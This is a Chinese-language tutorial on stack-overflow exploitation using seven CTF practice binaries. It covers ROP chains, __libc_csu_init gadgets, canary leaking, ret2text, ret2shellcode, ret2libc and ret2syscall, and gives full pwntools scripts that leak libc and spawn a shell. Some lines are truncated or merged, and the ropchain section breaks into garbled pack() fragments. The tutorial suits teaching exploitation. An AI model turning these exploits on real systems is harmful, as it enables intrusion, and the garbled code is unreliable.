二進制安全之棧溢出(下)

棧劫持

整形溢出

實驗

調試

程序一 :rop鏈 & _libc_csu_init

ROP

  • IDA靜態分析
<code>int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function(*(_QWORD *)&argc, argv, envp);
return write(1, "Hello, World!\\n", 0xEuLL);
}
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]\t 說明buf到rbp有0x80字節。即buf[0x80]
write(1, "Input:\\n", 7uLL);
return read(0, &buf, 0x200uLL);\t //從標準控制檯向buf讀入0x200
}/<code>


攻擊腳本

<code>from pwn import *
context.arch = "amd64"
context.log_level = "debug"
context.terminal=["tmux","splitw","-h"]

if len(sys.argv) < 2:
\tdebug=True
else:

\tdebug=False
if debug:
\tp = process("./level3_x64")
\telf = ELF("./level3_x64")
\tlibc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else:
\tp = remote("x.x.x.x",xxxx)
\telf = ELF("./level3_x64")
\tlibc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

def debugf():
\tgdb.attach(p,"b *0x400602")
#debugf()
padding = 0x80 * "a"
padding_rbp = "junkjunk"
write_plt = elf.plt["write"]\t
write_got = elf.got["write"]
# target : write(1,write_got,8)
pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1
main_addr = 0x40061A

payload = padding + padding_rbp + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(write_got) + p64(0) + p64(write_plt) + p64(main_addr) \t
p.sendafter("Input:\\n",payload)
addr = u64(p.recv(6).ljust(8,"\\\\x00"))
libc.address = addr - libc.symbols["write"]
binsh = libc.search("/bin/sh").next()
system = libc.symbols["system"]
payload = padding + "junkjunk" + p64(pop_rdi_ret) + p64(binsh) + p64(system)
p.sendafter("Input:\\n",payload)

p.interactive()/<code>

思路

<code>洩露system在libc中的地址

通過write函數洩露system的地址

先通過plt中的wrtite jump到got中的write函數的地址,然後通過offset計算libc的基址,然後洩露system的地址

可以將第一個return的內容覆蓋為plt["write"]的地址

即write(1,write_got,8) 調用write_got,打印8個字節到屏幕上


尋找rop鏈 rdi_pop_rsi_pop_rdx_ret,保存write函數的參數與返回地址

64位程序的參數壓棧順序rdi,rsi,rdx,rcx,r8,r9

➜ level3_x64 ROPgadget --binary level3_x64 --only 'pop|ret'
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret
由於在rop鏈中沒有發現rdx,暫時不去使用rdx,因為rdx中本來就可能含有大於8的數,因此對我們而言傳參與否意義不大,只是成功率的問題,直接返回到main_addr即可

.text:000000000040061A ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:000000000040061A public main
.text:000000000040061A main proc near ; DATA XREF: _start+1D↑o/<code>


libc_csu_init

  • 解決rop鏈中無rdx的思路
<code>a. 調用libc_csu_init
b. libc_csu_init有rdx
c. 在libc_csu_init循環構造payload/<code>

libc_csu_init的內存佈局

<code>.text:0000000000400650 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:0000000000400650 ; __unwind {
.text:0000000000400690
.text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690 mov rdx, r13\t\t\t\t// 4. 將r13給到了rdx
.text:0000000000400693 mov rsi, r14\t\t\t\t// 5. 控制rsi
.text:0000000000400696 mov edi, r15d\t\t\t// 6. 控制rdi的低四位,注意這裡不能存放下6字節的/bin/sh
.text:0000000000400699 call qword ptr [r12+rbx*8]\t;7. 給rbx賦0,相當於call [r12],
\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t; 將system的地址寫入其中bss中,將bss_addr寫入其中
.text:000000000040069D add rbx, 1
.text:00000000004006A1 cmp rbx, rbp\t\t\t //9. 使rbp=1,跳過jnz
.text:00000000004006A4 jnz short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6 add rsp, 8
.text:00000000004006AA pop rbx\t\t\t\t\t//1. 控制函數從這裡執行
.text:00000000004006AB pop rbp
.text:00000000004006AC pop r12\t\t\t\t\t//8. 給r12添一個main_addr
.text:00000000004006AE pop r13\t\t\t\t\t//2. 通過棧控制r13
.text:00000000004006B0 pop r14
.text:00000000004006B2 pop r15
.text:00000000004006B4 retn\t\t\t\t\t\t\t\t //3. ret到main_addr
.text:00000000004006B4 ; } // starts at 400650
.text:00000000004006B4 __libc_csu_init endp
//實現通過棧控制rdx/<code>

空閒的bss段

<code>.bss:0000000000600A89                 db    ? ;\t向其中寫入system的地址,call [r12] ,將r12改為0x600A89 
.bss:0000000000600A8A db ? ;
.bss:0000000000600A8B db ? ;/<code>

坑點

<code>call qword ptr [r12+rbx*8]\t;寄存器間接尋址,需要把system的地址寫入bss

mov edi, r15d\t;只能存放4個字節,存放不了/bin/sh/<code>

_libc_csu_init攻擊腳本實現

<code>from pwn import *
context.arch = "amd64"
context.log_level = "debug"
context.terminal=["tmux","splitw","-h"]

if len(sys.argv) < 2:
\tdebug=True
else:
\tdebug=False
if debug:
\tp = process("./level3_x64")
\telf = ELF("./level3_x64")
\tlibc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else:
\tp = remote("x.x.x.x",xxxx)
\telf = ELF("./level3_x64")
\tlibc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

def lib_csu_init(ret_address,call,p1,p2,p3):
\tpop_ret7 = 0x4006AA\t\t\t\t\t
\tlibc_csu_init_addr = 0x400690\t
\tpayload = 0x80*'a' + p64(0)\t\t\t\t# padding_ebp
\tpayload+= p64(pop_ret7)
\tpayload+= p64(0) + p64(1) + p64(call)\t#rbx rbp r12
\tpayload+= p64(p3) + p64(p2) + p64(p1) #r13 r14 r15
\tpayload+= p64(libc_csu_init_addr)\t\t#ret
\tpayload+= p64(0)*7\t\t\t\t\t\t#clear rsp rbx rbp r12 r13 r14 r15
\tpayload+= p64(ret_address)
\tp.sendafter("Input:\\n",payload)

def debugf():
\tgdb.attach(p,"b *0x400602")
#debugf()
write_plt = elf.plt["write"]\t
write_got = elf.got["write"]
read_got = elf.got["read"]
main_addr = 0x40061A
bss_addr = 0x600A89

lib_csu_init(main_addr,write_got,1,write_got,0x8)
write_addr = u64(p.recv(8))
log.success("write_addr:" + hex(write_addr))
libc.address = write_addr - libc.symbols["write"]
log.success("libc.address:" + hex(libc.address))
lib_csu_init(main_addr,read_got,0,bss_addr,16)\t# 16 is the param of read

# read system to bss_addr and write "/bin/sh to bss_addr+8"
#binsh = libc.search("/bin/sh").next() not need anymore
system = libc.symbols["system"]
p.send(p64(system)+"/bin/sh\\\\x00")
#lib_csu_init(main_addr,bss_addr,binsh,0,0) binsh has 6 bytes ,r15 can't store
lib_csu_init(main_addr,bss_addr,bss_addr+8,0,0)
p.interactive()/<code>


  • 調試
  1. 設置斷點到* 0x4006AA
二進制安全之棧溢出(下)


  1. 第一次循環結束後
二進制安全之棧溢出(下)


二進制安全之棧溢出(下)


  1. 返回到main
二進制安全之棧溢出(下)


  1. 打印libc的地址
二進制安全之棧溢出(下)


  1. 查看bss_addr的內容

程序二 :canary

  • IDA靜態分析
<code>int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
puts("Hello Hacker!");
vuln();
return 0;
}
unsigned int vuln()
{
signed int i; // [esp+4h] [ebp-74h]
char buf; // [esp+8h] [ebp-70h]
unsigned int v3; // [esp+6Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);\t\t\t\t\t//從fs:28h讀取canary到棧
for ( i = 0; i <= 1; ++i )
{
read(0, &buf, 0x200u);\t\t\t\t\t //溢出點
printf(&buf);\t\t\t\t\t\t\t\t\t\t //如果沒有printf,可以通過_dl_runtime_resolv洩露canary
}
return __readgsdword(0x14u) ^ v3;\t\t//異或棧中的canary與內核中的md5
}/<code>

利用方法

<code>在ebp – 0x0c的地址覆蓋為canary值

洩露canary的值/<code>

攻擊腳本

<code>from pwn import *
p = process("./leak_canary")
get_shell = 0x0804859B
p.recvuntil("Hello Hacker!\\n")
offset = 0x70-0xC\t\t\t\t\t\t\t# 到達canary的偏移地址
payload = (offset)*"a" + "b"\t # 覆蓋掉canary的最後的"\\0"字節,這時就可以打印出canary了
p.send(payload)
p.recvuntil("ab")\t\t\t\t\t\t #在canary之前截斷,在沒有printf,可以通過_dl_runtime_resolv洩露canary

canary = u32(p.recv(3).rjust(4,"\\\\x00"))\t#接收三字節的canary,並用0將第四個字節補齊
log.success("canary:"+hex(canary))\t\t
payload2 =(offset)*"a" + p32(canary) + "b"*12 + p32(get_shell)\t# 最終payload
p.send(payload2)
p.interactive()/<code>

程序三 :canary(不需繞過)

  • IDA靜態分析
<code>int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int v5; // [esp+18h] [ebp-90h]
unsigned int v6; // [esp+1Ch] [ebp-8Ch]
int v7; // [esp+20h] [ebp-88h]
unsigned int j; // [esp+24h] [ebp-84h]
int v9; // [esp+28h] [ebp-80h]
unsigned int i; // [esp+2Ch] [ebp-7Ch]
unsigned int k; // [esp+30h] [ebp-78h]
unsigned int l; // [esp+34h] [ebp-74h]
char v13[100]; // [esp+38h] [ebp-70h]
unsigned int v14; // [esp+9Ch] [ebp-Ch]

v14 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
v9 = 0;
puts("***********************************************************");
puts("* An easy calc *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(0 <= x < 256) *");
puts("***********************************************************");
puts("How many numbers you have:");
__isoc99_scanf("%d", &v5);
puts("Give me your numbers");
for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
{
__isoc99_scanf("%d", &v7);
v13[i] = v7;
}
for ( j = v5; ; printf("average is %.2lf\\n", (double)((long double)v9 / (double)j)) )
{

while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. show numbers\\n2. add number\\n3. change number\\n4. get average\\n5. exit");
__isoc99_scanf("%d", &v6);
if ( v6 != 2 )
break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 0x63 )
{
v3 = j++;
v13[v3] = v7;
}
}
if ( v6 > 2 )
break;
if ( v6 != 1 )
return 0;
puts("id\\t\\tnumber");
for ( k = 0; k < j; ++k )
printf("%d\\t\\t%d\\n", k, v13[k]);
}
if ( v6 != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);\t\t\t\t//v5是序號,無大小限制,造成漏洞點
puts("new number:");
__isoc99_scanf("%d", &v7);\t\t\t \t
v13[v5] = v7;\t\t\t
}
if ( v6 != 4 )
break;
v9 = 0;
for ( l = 0; l < j; ++l )
v9 += v13[l];
}
return 0;
}/<code>

利用原理

<code>v5無大小限制,形成漏洞點

可以看到 char v13[100]; // [esp+38h] [ebp-70h],當v5 = 28的時候,28*4=102=0×70,第29個字節就是EBP,第30個字節就是ret。


控制輸入v7的內容和長度,實現ret的精準覆蓋。

因此這道題不需要繞過canary。/<code>

程序四 :ret2text

  • IDA靜態分析
<code>int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h] \tpadding=0x64+0x8

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets(&s);\t\t//溢出點
printf("Maybe I will tell you next time !");
return 0;
}

void secure()\t\t\t//函數模板庫,CTRL+E查看
{
unsigned int v0; // eax
int input; // [esp+18h] [ebp-10h]
int secretcode; // [esp+1Ch] [ebp-Ch]

v0 = time(0);
srand(v0);
secretcode = rand();
__isoc99_scanf((const char *)&unk_8048760, &input);
if ( input == secretcode )
system("/bin/sh");\t\t\t\t//wonderful,理想的返回地址
}/<code>

利用原理

<code>找到溢出點:gets(&s)

判斷填充長度 : s到ebp的大小加4字節ebp,即 0×64 – 0x1c + 0×4


判斷ebp和esp尋址的小技巧:在IDA的變量s處雙擊,能進入到反彙編窗口即esp尋址/<code>

gdb調試

checksec

<code>Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
// 可以看到沒有開啟ALSR和PIE,這時我們下斷點的時候不用考慮地址隨機化/<code>

設置斷點到s

<code>.text:080486AB mov [esp], eax ; s

在IDA中靜態查看s的地址,取其偏移地址080486AB

在gdb中 b *0x080486AB 即可/<code>

計算填充長度

<code> EAX  0xffffce8c —▸ 0x8048329 ◂— 0x696c5f5f /* '__libc_start_main' */
EBX 0x0
ECX 0xffffffff
EDX 0xf7fb8870 (_IO_stdfile_1_lock) ◂— 0x0
EDI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
ESI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
EBP 0xffffcef8 ◂— 0x0
ESP 0xffffce70 —▸ 0x804876c ◂— 0x72656854 /* 'There is something amazing here, do you know anything?'
/*
EDX接收s
填充長度為EBP-EAX = 0x6c
*//<code>

覆寫返回地址到system("/bin/sh");

<code>a. 使用IDA查看bin/sh的地址 


.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
.text:08048641 call _system /<code>

攻擊腳本

<code>from pwn import *
context.log_level = "debug"\t\t\t\t \t\t\t# context預設環境
context.arch = "i386"
context.terminal = ["tmux","splitw","-h"] # tmux 垂直分屏

if len(sys.argv) < 2:
\tdebug = True
else:
\tdebug = False
\t
if debug:
\t\tp = process("./ret2text")\t\t # process表示當前程序的發送和接收(交互)
\t\telf = ELF("./ret2text")\t\t\t # ELF載入當前程序的ELF,以獲取符號表,代碼段,段地址,plt,got信息
\t\tlibc = ELF('/lib/i386-linux-gnu/libc-2.23.so')\t\t# 載入libc的庫,可以通過vmmap查看

else:
\tp = remote("x.x.x.x",1088)
\telf = ELF("./ret2text")\t\t\t
\tlibc = ELF('/lib/i386-linux-gnu/libc-2.23.so')\t\t
\t
def debugf():
\tgdb.attach(p,"b *0x80486AB")
debugf()
padding = (0x64+8)*a
ebp_padding = "aaaa"
system_addr = 0x0804863A
payload = padding + ebp_padding + p32(system_addr)
p.sendlineafter("do you know anything?\\n",payload)\t#需要加"\\n",因為puts在程序最後加"\\n"
p.interactive()\t\t# 接收shell/<code>

程序五 :ret2shellcode

  • IDA靜態分析
<code>int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(&s);
strncpy(buf2, &s, 0x64u);
printf("bye bye ~");
return 0;
}/<code>

設置斷點

<code>.text:08048590                 mov     [esp], eax      ; s\t\t設置到斷點gets之前
.text:08048593 call _gets/<code>

溢出地址

<code>.bss:0804A080 buf2            db 64h dup(?)           ; DATA XREF: main+7B↑o/<code>

攻擊腳本

<code>#!/usr/bin/env python
from pwn import *
context.arch ="i386"
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
if len(sys.argv < 2):
\tdebug = True
else:
\tdebug = False

if debug:
\tp = process('./ret2shellcode')
\telf = ELF('./ret2shellcode')
\tlibc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
\tp = remote('xx.xx.xx.xx',1111)
\telf = ELF('./ret2shellcode')
\tlibc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
def debugf():
\tgdb.attach(p,"b *08048590")
debugf()
#padding \t = 0x64+8
#padding_ebp = 0x4


shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x6c,"a") + "junk"
buf2_addr = 0x804a080
payload += p32(buf2_addr)
p.sendlineafter("No system for you this time !!!\\n",payload)
p.interactive()/<code>

流程

<code>64字節shelllcode覆蓋s

填充8字節到達main函數的ebp

“junk”覆蓋掉rbp的內容

將return的內容覆蓋為buf2的地址字節流:p32(buf2_addr)/<code>

注意點

<code>buf2位於bss段,如果程序開啟了pie,是不能通過ida讀取的。

ljust函數用於補充指定大小的字節

asm(shellcraft.sh())用於自動生成shellcode

手寫shellcode

shellcode = asm(
"mov ebp,esp"
"push ebp"
"mov eax,08808188a"\t;向0x08808188a傳入一個bin/sh
"mov [esp],eax"
"call system"
)/<code>

調試

<code>finish到main函數

buf的內存佈局


EAX 0x804a080 (buf2) ◂— 0x2f68686a
0x80485af <main> call strncpy@plt <0x8048420>
00:0000│ esp 0xff906df0 —▸ 0x804a080 (buf2) ◂— 0x2f68686a

x/20gz 0x804a080
0x804a080 <buf2>: 0x68732f2f2f68686a 0x0168e3896e69622f
0x804a090 <buf2>: 0x6972243481010101 0x59046a51c9310101
返回地址

0x80485c6 <main> ret <0x804a080; buf2> ==>可以看到將main返回地址覆蓋成了buf2的地址
shellcode

00:0000│ esp 0xff906e74 ◂— '/bin///sh'
01:0004│ 0xff906e70 ◂— 0x6873 /* 'sh' */
0x804a0aa <buf2> int 0x80 ==> 此時中斷退出/<buf2>/<main>/<buf2>/<buf2>/<main>/<code>

程序六 :ret2libc

  • IDA靜態分析
<code>int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_ gets(&s);
return 0;
}

.rodata:08048720 aBinSh db '/bin/sh',0 ; DATA XREF: .data:shell↓o

.text:08048618 ; __unwind {\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t ==>main函數的地址,用以中轉
.text:08048618 push ebp
.text:08048619 mov ebp, esp

.text:0804867B mov [esp], eax ; s\t==>設置斷點
.text:0804867E call _gets/<code>

保護機制

<code>➜  ret2libc1 checksec ret2libc1  
[*] '/mnt/hgfs/ctf_debug/stack/ret2libc1/ret2libc1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)/<code>

攻擊腳本

<code>from pwn import *
context.arch = "i386"
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
if len(sys.argv) < 2:
\tdebug = True
else:
\tdebug = False

if debug:
\tp = process("./ret2libc1")
\telf = ELF("./ret2libc1")
\tlibc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
else:
\tp = remote("x.x.x.x",xxxx)
\telf = ELF("./ret2libc1")
\tlibc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
def debugf():
\tgdb.attach(p,"b *0804867B")\t # 設置斷點到gets之前\t
debugf()
binsh = 0x08048720
puts_plt = elf.plt["puts"]\t\t
'''
注意到到當前程序中有puts函數,通過plt表找到puts函數的地址以準備leak puts在libc中的地址
這裡不能使用got表,got裡面的地址需要call。
'''
puts_got = elf.got["puts"]
main_addr = 0x08048618
padding = 0x6c * "a"
padding_ebp = 'junk'

payload = padding + padding_ebp + p32(puts_plt) + p32(main_addr) + p32(puts_got)
'''
main_addr:puts_plt的返回地址

puts_got:puts_plt的參數
'''

p.sendlineafter("RET2LIBC >_puts_addr = u32(p.recv(4))
log.success("puts_addr : " + hex(puts_addr))
'''
調用puts函數打印puts函數在libc中的地址
libc的地址為4個字節
'''
libc.address = puts_addr - libc.symbols["puts"]
log.success("libc.address : " + hex(libc.address))
system_addr = libc.symbols["system"]
'''
libc.symbol["puts"]為puts在libc中的offset
至此載入libc的基址
'''
log.success("system_addr : " + hex(system_addr))
'''
如果程序本身沒有/bin/sh的話
binsh = libc.search("/bin/sh").next()
log.success("binsh : " + hex(binsh))
'''
padding = 0x64 * "a"
payload = padding + padding_ebp + p32(system_addr) + 'junk' + p32(binsh)
'''
0x64 * "a" : 因為第二次尋址方式為ebp尋址,不用加8
這裡的junk為p32(system_addr)的返回地址
'''
p.sendlineafter("RET2LIBC >_p.interactive()/<code>

思路

<code>洩露libc的地址需要使用libc中函數如puts函數的地址減去偏移量獲得

調用puts_plt函數將puts_got的地址打印出來,puts_got的地址的地址即是libc中puts的地址

通過第一次溢出獲得libc中puts的地址。構造一次循環,返回到main


通過puts的地址計算libc的地址,通過symbols從而得到system的地址

第二次計算padding的大小按照ebp尋址,直接為0×64,因為這時候直接返回到了ESP/<code>

調試

finish到main

查看棧佈局 stack50


二進制安全之棧溢出(下)

main得返回地址被正確填充為puts


二進制安全之棧溢出(下)

進入got的puts函數,leak出的地址信息,查看當前的棧佈局


二進制安全之棧溢出(下)


二進制安全之棧溢出(下)


再次跳轉回main函數,發送payload

ebp被正確覆蓋為junk,return被正確覆蓋為system的地址,system函數的返回地址被覆蓋為junk,參數成功覆蓋成/bin/sh的地址

攻擊腳本2(在程序段無/bin/sh的通用利用方式,向bss段寫入/bin/sh)

<code>from pwn import *
context.arch = "i386"
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
if len(sys.argv) < 2:
\tdebug = True
else:
\tdebug = False

if debug:
\tp = process("./ret2libc1")
\telf = ELF("./ret2libc1")
\tlibc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
else:
\tp = remote("x.x.x.x",xxxx)
\telf = ELF("./ret2libc1")
\tlibc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
def debugf():
\tgdb.attach(p,"b *0804867B")\t
puts_plt = elf.plt["puts"]\t\t
puts_got = elf.got["puts"]
gets_plt = elf.plt["gets"]
main_addr = 0x08048618
bss_addr = 0x0804A064
padding = 0x6c * "a"
padding_ebp = 'junk'

payload = padding + padding_ebp + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendlineafter("RET2LIBC >_puts_addr = u32(p.recv(4))
log.success("puts_addr : " + hex(puts_addr))
libc.address = puts_addr - libc.symbols["puts"]
log.success("libc.address : " + hex(libc.address))
system_addr = libc.symbols["system"]
log.success("system_addr : " + hex(system_addr))
padding = 0x64 * "a"
payload = padding + padding_ebp + p32(gets_plt) + p32(system_addr) + p32(bss_addr) + p32(bss_addr)
p.sendlineafter("RET2LIBC >_p.send("/bin/sh\\n")
p.interactive()/<code>

思路

<code>尋找一片空閒的bss段區域

.bss:0804A060 ; main+9↑r
.bss:0804A060 ; Alternative name is 'stdout'
.bss:0804A060 ; Copy of shared data
.bss:0804A064 completed_6591 db ? ; DATA XREF: __do_global_dtors_aux↑r
.bss:0804A064 ; __do_global_dtors_aux+14↑w

gets_plt用於向緊接著返回地址system_addr之後的p32(bss_addr)寫入數據,返回到system_addr,執行最後的p32(bss_addr)/<code>

程序七 :ret2syacall & ropchain

對於靜態編譯程序

➜ speedrun ldd speedrun​ 不是動態可執行文件

在有棧溢出的時候,優先考慮ropchain的方法。

ret2syacall

  • IDA靜態分析
<code>查找字符串

.text:0000000000400B6B lea rdi, aAnyLastWords ; "c"

進入main函數

__int64 sub_400B60()
{
char buf; // [rsp+0h] [rbp-400h]

sub_410390("Any last words?");
sub_4498A0(0, &buf, 0x7D0uLL);
return sub_40F710((unsigned __int64)"This will be the last thing that you say: %s\\n");
}
索引到
__int64 sub_400BC1()\t\t\t\t\t\t\t\t\t\t\t==>main函數
{
const char *v0; // rdi

sub_410590(off_6B97A0, 0LL, 2LL, 0LL); ==>setbuf
v0 = "DEBUG";\t
if ( !sub_40E790("DEBUG") )\t\t\t\t\t\t\t ==>setenv

v0 = (const char *)5;
sub_400B4D(v0);
sub_400B60();
sub_400BAE();
return 0LL;
}

__int64 sub_400B4D()\t\t\t\t\t\t\t\t\t\t ==>puts
{
return sub_410390("Hello brave new challenger");
}

__int64 sub_400B60()\t\t\t\t\t\t\t\t\t\t\t==>printf
{
char buf; // [rsp+0h] [rbp-400h]

sub_410390("Any last words?");
sub_4498A0(0, &buf, 0x7D0uLL);\t\t\t\t\t==>read ,溢出點
return sub_40F710((unsigned __int64)"This will be the last thing that you say: %s\\n", &buf); ==>手動添加參數buf
}/<code>

edit – keypatch修改alarm為nop,為了方便調試

根據函數的功能確定函數的類型

思路

<code>設置斷點

.text:0000000000400B60 ; __unwind {
.text:0000000000400B60 push rbp
.text:0000000000400B61 mov rbp, rsp
.text:0000000000400B64 sub rsp, 400h
.text:0000000000400B6B lea rdi, aAnyLastWords ; "Any last words?"
.text:0000000000400B72 call sub_410390
.text:0000000000400B77 lea rax, [rbp+buf]
.text:0000000000400B7E mov edx, 7D0h ; count
.text:0000000000400B83 mov rsi, rax ; buf
.text:0000000000400B86 mov edi, 0 ; fd
.text:0000000000400B8B call sub_4498A0\t\t==>call read
.text:0000000000400B90 lea rax, [rbp+buf]
.text:0000000000400B97 mov rsi, rax ; char *
.text:0000000000400B9A lea rdi, aThisWillBeTheL ; "This will be the last thing that you sa"...
.text:0000000000400BA1 mov eax, 0
.text:0000000000400BA6 call sub_40F710
.text:0000000000400BAB nop
.text:0000000000400BAC leave

.text:0000000000400BAD retn
.text:0000000000400BAD ; } // starts at 400B60

搜索syscall

➜ speedrun ROPgadget --binary speedrun --only 'int'
Gadgets information
============================================================
0x000000000046817a : int 0x80

Unique gadgets found: 1

尋找rop鏈

➜ speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rax
0x0000000000481c76 : pop rax ; pop rdx ; pop rbx ; ret\t\t==pop_rax_rdx_rbx_ret
0x0000000000415664 : pop rax ; ret
0x000000000048cccb : pop rax ; ret 0x22

➜ speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rdx
0x0000000000481c76 : pop rax ; pop rdx ; pop rbx ; ret
0x000000000044be14 : pop rdx ; pop r10 ; ret
0x0000000000481c77 : pop rdx ; pop rbx ; ret
0x000000000044be39 : pop rdx ; pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret

➜ speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rdi
0x0000000000402615 : pop rdi ; pop rbp ; ret
0x0000000000400686 : pop rdi ; ret
➜ speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rsi
0x000000000044be39 : pop rdx ; pop rsi ; ret
0x0000000000402613 : pop rsi ; pop r15 ; pop rbp ; ret
0x0000000000400684 : pop rsi ; pop r15 ; ret
0x000000000040f95e : pop rsi ; pop rbp ; ret
0x00000000004101f3 : pop rsi ; ret

read一個/bin/sh

.text:00000000004498A0 ; __unwind {
.text:00000000004498A0 mov eax, cs:dword_6BC80C
.text:00000000004498A6 test eax, eax
.text:00000000004498A8 jnz short loc_4498C0
.text:00000000004498AA xor eax, eax\t==>read_addr
.text:00000000004498AC syscall ; LINUX - sys_read

.bss:00000000006BB3B2 db ? ;\t==>binsh_addr
.bss:00000000006BB3B3 db ? ;
.bss:00000000006BB3B4 db ? ;
.bss:00000000006BB3B5 db ? ;
構造rop鏈


payload = 0x400*'a' + 'junkjunk' + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(bss_addr) + p64(pop_rdx_ret) + p64(0x10) + p64(read_addr)

payload += p64(pop_rax_rdx_ret) + p64(0x3b) + p64(0) + p64(0) + p64(pop_rdi_ret) + p64(bss_addr) + p/<code>

攻擊腳本

<code>from pwn import * 
context.log_level = "debug"
context.arch = 'amd64'
context.terminal =["tmux","splitw","-h"]

if len(sys.argv)<2:
\tdebug =True
else:
\tdebug =False
\t
if debug:
\tp =process("./speedrun")
else :
\tp = remote("xxxx",xxx)
\t
def debugf():
\tgdb.attach(p,"b * 0x4498E2")
\t
# rax 0x3b
# rdi /bin/sh
# rsi NULL 0
# rdx NULL 0
pop_rax_rdx_rbx_ret = 0x481c76
pop_rdi_ret =0x400686
pop_rsi_ret =0x4101f3
#read_addr \t =0x4498A0
read_addr \t =0x4498AA
syscall=0x46817a
bss_addr = 0x6BB3B3
padding = 'a'*0x400
pop_rdx_ret =0x4498b5
#debugf()
payload = padding + "junkjunk" + p64(pop_rdi_ret) + p64(0) +p64(pop_rsi_ret) + p64(bss_addr) +p64(pop_rdx_ret)+p64(0x8)
# p64(0) is the para of p64(pop_rdi_ret),p64(bss_addr) is the para of p64(pop_rsi_ret)...
payload += p64(read_addr) + p64(pop_rax_rdx_rbx_ret)+p64(0x3b)+p64(0)+p64(0)+p64(pop_rdi_ret) + p64(bss_addr) +p64(pop_rsi_ret)
payload += p64(0)+p64(syscall)
p.sendafter("Any last words?\\n",payload)
p.send("/bin/sh\\\\x00")
p.interactive()/<code>

調試

read之後的棧佈局


二進制安全之棧溢出(下)

ropchain

  • 尋找ropchain
<code>ROPgadget –binary speedrun –ropchain/<code>

攻擊腳本

<code>from pwn import * 

if len(sys.argv)<2:
\tdebug =True

else:
\tdebug =False
\t
if debug:
\tp =process("./speedrun-001")
else :
\tp = remote("xxxx",xxx)
\t
def ropchanin():\t
\tfrom struct import pack

\t# Padding goes here
\tp = ''

\tp += pack('\tp += pack('\tp += pack('\tp += '/bin//sh'
\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('\tp += pack('
